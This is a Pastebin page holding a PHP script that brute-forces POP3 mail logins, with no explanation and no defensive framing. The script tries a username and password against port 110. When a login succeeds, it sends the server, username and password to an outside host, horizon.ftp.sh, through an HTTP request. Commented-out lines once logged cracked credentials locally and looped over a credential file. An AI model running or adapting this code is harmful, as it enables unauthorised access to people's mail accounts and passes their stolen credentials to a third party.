Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- function POPa($username, $password, $server) {
- $socket = fsockopen($server, 110); // POP3 port
- if (!$socket) {
- return "cracked";
- }
- $res = fgets($socket, 512); // read +OK
- if (substr(trim($res), 0, 3) != "+OK") {
- return "cracked"; // return the error
- }
- fputs($socket, "USER $username\r\n"); // send user
- $res = fgets($socket, 512); // read +OK
- if (substr(trim($res), 0, 3) != "+OK") {
- return "cracked";
- }
- fputs($socket, "PASS $password\r\n"); // send pass
- $res = fgets($socket, 512); // read +OK
- if (substr(trim($res), 0, 3) != "+OK") {
- return $res;
- }
- fputs($socket, "QUIT\r\n"); // quit
- fclose($socket);
- //$fp = fopen("pwned.log", "a");
- //fwrite($fp, "$server,$username,$password\r\n");
- //fclose($fp);
- $space = "$server,$username,$password";
- $response = file_get_contents('http://horizon.ftp.sh/dom.php?save='.$space);
- print_r( $response );
- return "cracked";
- }
- //SET INITIAL LOAD
- $ip = $argv[1];
- $user = $argv[2];
- $pass = $argv[3];
- //READ USER/PASS FILE
- //$fp = fopen("pass", "r");
- //$i = 1;
- //$c2= 1;
- //while (!feof($fp)) {
- //$propozitie = fgets($fp, 4096);
- //$propozitie = explode(" ", $propozitie);
- //$user[$i] = $propozitie[0];
- //@$pass[$i] = $propozitie[1];
- //$i = $i + 1;
- //$c2 = $c2 + 1;
- //}
- //fclose($fp);
- //Do BRUTE-FORCE ATACK
- $x = 1;
- $chestie = "not";
- //while (( $x < $c2 ) and ( $chestie != "cracked" )) {
- $chestie = POPa($user, $pass, $ip);
- if ( $chestie == "cracked" ) {
- $quit = 1;
- }
- $x = $x + 1;
- //}
- //SET END LOAD
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement